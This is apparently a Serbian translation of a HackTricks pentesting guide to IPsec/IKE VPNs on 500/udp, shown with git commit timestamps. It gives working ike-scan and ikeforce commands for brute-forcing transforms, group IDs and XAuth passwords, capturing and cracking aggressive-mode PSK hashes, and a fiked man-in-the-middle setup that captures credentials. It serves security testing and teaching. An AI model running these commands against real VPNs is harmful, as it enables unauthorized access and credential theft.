hacktricks/network-services-pentesting/ipsec-ike-vpn-pentesting.md

278 lines
18 KiB
Markdown
Raw Normal View History

# 500/udp - Testiranje IPsec/IKE VPN
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:11:20 +00:00
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2024-01-03 10:42:55 +00:00
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
2024-02-10 13:11:20 +00:00
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
2024-02-10 13:11:20 +00:00
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
2022-04-28 16:01:33 +00:00
</details>
2022-04-28 16:01:33 +00:00
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Osnovne informacije
**IPsec** je široko prepoznat kao glavna tehnologija za obezbeđivanje komunikacije između mreža (LAN-to-LAN) i od udaljenih korisnika do mrežnog pristupnog čvora (udaljeni pristup), služeći kao osnova za rešenja preduzeća za VPN.
Uspostavljanje **bezbednosne asocijacije (SA)** između dve tačke upravlja **IKE**, koji funkcioniše pod okriljem ISAKMP, protokola dizajniranog za autentifikaciju i razmenu ključeva. Ovaj proces se odvija u nekoliko faza:
2024-02-08 21:36:15 +00:00
* **Faza 1:** Bezbedan kanal se kreira između dve tačke. To se postiže korišćenjem Pre-Shared Key (PSK) ili sertifikata, koristeći ili glavni režim, koji uključuje tri para poruka, ili **agresivni režim**.
* **Faza 1.5:** Iako nije obavezna, ova faza, poznata kao Faza Proširene Autentifikacije, proverava identitet korisnika koji pokušava da se poveže zahtevajući korisničko ime i lozinku.
* **Faza 2:** Ova faza je posvećena pregovaranju parametara za obezbeđivanje podataka sa **ESP** i **AH**. To omogućava korišćenje algoritama različitih od onih u Fazi 1 kako bi se osigurala **Savršena Napredna Tajnost (PFS)**, poboljšavajući bezbednost.
2024-02-10 13:11:20 +00:00
**Podrazumevani port:** 500/udp
2024-02-10 13:11:20 +00:00
## **Otkrijte** uslugu korišćenjem nmap-a
```
root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT STATE SERVICE
500/udp open isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
```
2024-02-10 13:11:20 +00:00
## **Pronalaženje validne transformacije**
IPSec konfiguracija može biti podešena da prihvati samo jednu ili nekoliko transformacija. Transformacija je kombinacija vrednosti. **Svaka transformacija** sadrži broj atributa kao što su DES ili 3DES kao **algoritam za enkripciju**, SHA ili MD5 kao **algoritam za integritet**, prethodno deljeni ključ kao **tip autentifikacije**, Diffie-Hellman 1 ili 2 kao algoritam za **distribuciju ključa** i 28800 sekundi kao **životni vek**.
Prvo što morate uraditi je **pronaći validnu transformaciju**, tako da će server komunicirati sa vama. Za to možete koristiti alat **ike-scan**. Podrazumevano, Ike-scan radi u glavnom režimu i šalje paket ka pristupnoj tački sa ISAKMP zaglavljem i jednim predlogom sa **osam transformacija unutar njega**.
Na osnovu odgovora možete dobiti informacije o krajnjoj tački:
```
root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
2024-02-10 13:11:20 +00:00
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
```
Kao što možete videti u prethodnom odgovoru, postoji polje nazvano **AUTH** sa vrednošću **PSK**. To znači da je VPN konfigurisan korišćenjem unapred podele ključa (i ovo je zaista dobro za pentestera).\
2024-02-10 13:11:20 +00:00
**Vrednost poslednje linije je takođe veoma važna:**
* _0 returned handshake; 0 returned notify:_ Ovo znači da meta nije **IPsec gateway**.
* _**1 returned handshake; 0 returned notify:**_ Ovo znači da je **meta konfigurisana za IPsec i spremna je da obavi IKE pregovore, i da je jedan ili više transformacija koje ste predložili prihvatljivo** (važeća transformacija će biti prikazana u izlazu).
* _0 returned handshake; 1 returned notify:_ VPN gateway-ovi odgovaraju sa obaveštenjem kada **nijedna od transformacija nije prihvatljiva** (mada neki gateway-ovi to ne rade, u tom slučaju treba pokušati sa daljom analizom i revidiranim predlogom).
Zatim, u ovom slučaju već imamo važeću transformaciju, ali ako se nalazite u 3. slučaju, tada morate **malčice probati sa brute-force-om da biste pronašli važeću transformaciju:**
Prvo morate kreirati sve moguće transformacije:
```bash
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
```
I onda svaki od njih probajte napasti brute-force metodom koristeći ike-scan (ovo može potrajati nekoliko minuta):
```bash
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
```
Ako brute-force nije uspeo, možda server odgovara bez rukovanja čak i na validne transformacije. Zatim, možete pokušati isti brute-force ali koristeći agresivni režim:
```bash
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
```
Nadam se da će **važeća transformacija biti vraćena**.\
Možete pokušati **isti napad** koristeći [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py).\
Takođe možete pokušati da grubo forsirate transformacije sa [**ikeforce**](https://github.com/SpiderLabs/ikeforce):
```bash
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
```
![](<../.gitbook/assets/image (614).png>)
U **DH grupi: 14 = 2048-bitni MODP** i **15 = 3072-bitni**\
2024-02-10 13:11:20 +00:00
**2 = HMAC-SHA = SHA1 (u ovom slučaju). Format `--trans` je $Enc,$Hash,$Auth,$DH**
Cisco preporučuje izbegavanje korišćenja DH grupa 1 i 2 jer nisu dovoljno jake. Stručnjaci veruju da **zemlje sa velikim resursima lako mogu probiti enkripciju** podataka koji koriste ove slabe grupe. To se postiže korišćenjem posebnog metoda koji ih priprema da brzo probiju kodove. Iako košta puno novca postaviti ovaj metod, omogućava ovim moćnim zemljama da čitaju enkriptovane podatke u realnom vremenu ako koriste grupu koja nije jaka (kao što je 1,024-bitna ili manja).
### Fingerprintiranje servera
Zatim, možete koristiti ike-scan da pokušate **otkriti proizvođača** uređaja. Alat šalje početni predlog i prestaje sa reprodukcijom. Zatim, **analizira** **razliku u vremenu** između primljenih **poruka** od servera i odgovarajućeg obrasca odgovora, pentester može uspešno identifikovati proizvođača VPN gateway-a. Takođe, neki VPN serveri će koristiti opcioni **Vendor ID (VID) payload** sa IKE.
**Navedite validnu transformaciju ako je potrebno** (koristeći --trans)
Ako IKE otkrije koji je proizvođač, isprintaće ga:
```
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
2024-02-10 13:11:20 +00:00
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
IKE Backoff Patterns:
2024-02-10 13:11:20 +00:00
IP Address No. Recv time Delta Time
172.16.21.200 1 1322286031.744904 0.000000
172.16.21.200 2 1322286039.745081 8.000177
172.16.21.200 3 1322286047.745989 8.000908
172.16.21.200 4 1322286055.746972 8.000983
172.16.21.200 Implementation guess: Cisco VPN Concentrator
2024-02-10 13:11:20 +00:00
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
```
Ovo može biti postignuto i sa nmap skriptom _**ike-version**_
## Pronalaženje tačnog ID-a (imenovanje grupe)
Da biste bili u mogućnosti da uhvatite heš, potreban vam je validan transform koji podržava Agresivni režim i tačan ID (ime grupe). Verovatno nećete znati validno ime grupe, pa ćete morati da ga probate silom.
Da biste to uradili, preporučio bih vam 2 metode:
### Silom probijanje ID-a sa ike-scan
Prvo pokušajte da napravite zahtev sa lažnim ID-om pokušavajući da prikupite heš ("-P"):
```bash
ike-scan -P -M -A -n fakeID <IP>
```
Ako **nema povratne vrednosti heša**, tada će verovatno ovaj metod brute force napada raditi. **Ako se vrati neki heš, to znači da će se za lažni ID poslati lažni heš, pa ovaj metod neće biti pouzdan** za brute-force napad na ID. Na primer, može se vratiti lažni heš (ovo se dešava u modernim verzijama):
![](<../.gitbook/assets/image (914).png>)
Ali ako, kao što sam rekao, nema povratne vrednosti heša, tada biste trebali pokušati da brute-force napadnete zajednička imena grupa koristeći ike-scan.
Ovaj skript **će pokušati da brute-force napadne moguće ID-ove** i vratiće ID-ove gde je vraćen validan handshake (ovo će biti validno ime grupe).
Ako ste otkrili određenu transformaciju, dodajte je u ike-scan komandu. Ako ste otkrili više transformacija, slobodno dodajte novu petlju da ih sve isprobate (trebalo bi da ih isprobate sve dok jedna od njih pravilno funkcioniše).
Možete koristiti [rečnik ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) ili [onaj u seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) zajedničkih imena grupa za brute-force napade na njih:
```bash
2021-01-18 14:24:10 +00:00
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
```
### Bruteforcing ID with Iker
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) takođe koristi **ike-scan** za pokušaj otkrivanja mogućih imena grupa. Prati svoju metodu za **pronalaženje validnog ID-a na osnovu izlaza ike-scan-a**.
### Bruteforcing ID with ikeforce
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) je alat koji se može koristiti za **bruteforce ID-ova takođe**. Ovaj alat će **pokušati iskoristiti različite ranjivosti** koje bi mogle biti korištene za **razlikovanje između validnog i nevalidnog ID-a** (može imati lažne pozitivne i lažne negativne rezultate, zbog čega preferiram korišćenje metode ike-scan-a ako je moguće).
Podrazumevano, **ikeforce** će na početku poslati neke nasumične ID-ove kako bi proverio ponašanje servera i odredio taktiku koju će koristiti.
* **Prva metoda** je da brute-force-uje imena grupa **tražeći** informacije **Dead Peer Detection DPD** Cisco sistema (ove informacije server emituje samo ako je ime grupe tačno).
* **Druga dostupna metoda** je da **proveri broj poslatih odgovora za svaki pokušaj** jer se ponekad šalje više paketa kada se koristi tačan ID.
* **Treća metoda** sastoji se od **traženja "INVALID-ID-INFORMATION" u odgovoru na neispravan ID**.
* Na kraju, ako server ne emituje ništa kao odgovor na provere, **ikeforce** će pokušati da brute-force-uje server i proveri da li server emituje neki paket kada se pošalje tačan ID.\
Očigledno je cilj brute force-ovanja ID-a da se dobije **PSK** kada imate validan ID. Zatim, sa **ID-om** i **PSK-om** moraćete da brute-force-ujete XAUTH (ako je omogućen).
Ako ste otkrili određenu transformaciju, dodajte je u ikeforce komandu. I ako ste otkrili više transformacija, slobodno dodajte novu petlju da ih sve isprobate (trebalo bi da ih isprobate sve dok jedna od njih pravilno funkcioniše).
```bash
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
```
```bash
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
```
### Sniffing ID
(Iz knjige **Procena bezbednosti mreže: Upoznajte svoju mrežu**): Takođe je moguće dobiti validna korisnička imena špijuniranjem veze između VPN klijenta i servera, jer se prvi paket agresivnog moda koji sadrži ID klijenta šalje otvoreno
![](<../.gitbook/assets/image (888).png>)
## Snimanje i dešifrovanje heša
Na kraju, ako ste pronašli **validnu transformaciju** i **ime grupe** i ako je **agresivni mod dozvoljen**, tada možete veoma lako uhvatiti dešifrovan heš:
```bash
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
```
Hash će biti sačuvan unutar _hash.txt_.
Možete koristiti **psk-crack**, **john** (koristeći [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py)) i **hashcat** da **provalite** hash:
2021-01-18 14:26:55 +00:00
```bash
2022-01-12 14:33:12 +00:00
psk-crack -d <Wordlist_path> psk.txt
```
## **XAuth**
**Agresivni režim IKE** u kombinaciji sa **Pre-Shared Key (PSK)** se često koristi u svrhu **grupne autentikacije**. Ovaj metod se proširuje sa **XAuth (Extended Authentication)**, koji služi da uvede dodatni sloj **autentikacije korisnika**. Takva autentikacija obično koristi usluge poput **Microsoft Active Directory**, **RADIUS**, ili sličnih sistema.
2024-02-08 21:36:15 +00:00
Prelaskom na **IKEv2**, primećuje se značajna promena gde se koristi **EAP (Extensible Authentication Protocol)** umesto **XAuth** u svrhu autentikacije korisnika. Ova promena ističe evoluciju praksi autentikacije unutar sigurnih komunikacionih protokola.
### MitM napad na lokalnu mrežu za hvatanje akreditiva
Tako da možete uhvatiti podatke o prijavi koristeći _fiked_ i videti da li postoji neko podrazumevano korisničko ime (Morate preusmeriti IKE saobraćaj na `fiked` za špijuniranje, što se može uraditi uz pomoć ARP spoofinga, [više informacija](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked će delovati kao VPN krajnja tačka i uhvatiće XAuth akreditive:
2021-01-18 14:26:55 +00:00
```bash
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
```
### Napad srednjeg čoveka (MitM) i blokiranje saobraćaja na portu 500 pomoću IPSec-a
Takođe, pokušajte da izvršite napad srednjeg čoveka (MitM) i blokirate sav saobraćaj ka portu 500 korišćenjem IPSec-a. Ako tunel IPSec-a ne može da se uspostavi, možda će se saobraćaj slati nešifrovan.
### Brute-forcing XAUTH korisničko ime i lozinku pomoću ikeforce
Da biste primenili **XAUTH** metodu (kada znate validno ime grupe **id** i **psk**), možete koristiti korisničko ime ili listu korisničkih imena i listu lozinki:
2021-01-18 14:26:55 +00:00
```bash
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
```
Na ovaj način, ikeforce će pokušati da se poveže koristeći svaku kombinaciju korisničko ime: lozinka.
Ako pronađete jednu ili više validnih transformacija, jednostavno ih koristite kao u prethodnim koracima.
## Autentikacija sa IPSEC VPN
U Kali-u, **VPNC** se koristi za uspostavljanje IPsec tunela. **Profili** se moraju nalaziti u direktorijumu `/etc/vpnc/`. Možete pokrenuti ove profile koristeći komandu _**vpnc**_.
2024-02-05 02:29:11 +00:00
Naredbe i konfiguracije u nastavku ilustruju proces postavljanja VPN veze pomoću VPNC-a:
2024-02-05 02:29:11 +00:00
```bash
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
2024-02-05 02:29:11 +00:00
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
2024-02-05 02:29:11 +00:00
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0
```
2024-02-10 13:11:20 +00:00
U ovom postavci:
* Zamijenite `[VPN_GATEWAY_IP]` stvarnom IP adresom VPN gateway-a.
* Zamijenite `[VPN_CONNECTION_ID]` sa identifikatorom VPN veze.
* Zamijenite `[VPN_GROUP_SECRET]` sa grupnim tajnim ključem VPN-a.
* Zamijenite `[VPN_USERNAME]` i `[VPN_PASSWORD]` sa autentifikacionim podacima VPN-a.
* `[PID]` simbolizuje ID procesa koji će biti dodeljen kada `vpnc` pokrene.
Uverite se da se koriste stvarne, sigurne vrednosti za zamenu oznaka prilikom konfigurisanja VPN-a.
2024-02-05 02:29:11 +00:00
## Reference Materijal
* [PSK cracking rad](http://www.ernw.de/download/pskattack.pdf)
* [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821)
* [Skeniranje VPN implementacije](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf)
* Network Security Assessment 3. izdanje
## Shodan
2020-10-05 13:59:40 +00:00
* `port:500 IKE`
2022-04-28 16:01:33 +00:00
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
2022-04-28 16:01:33 +00:00
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2024-01-03 10:42:55 +00:00
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
2022-04-28 16:01:33 +00:00
</details>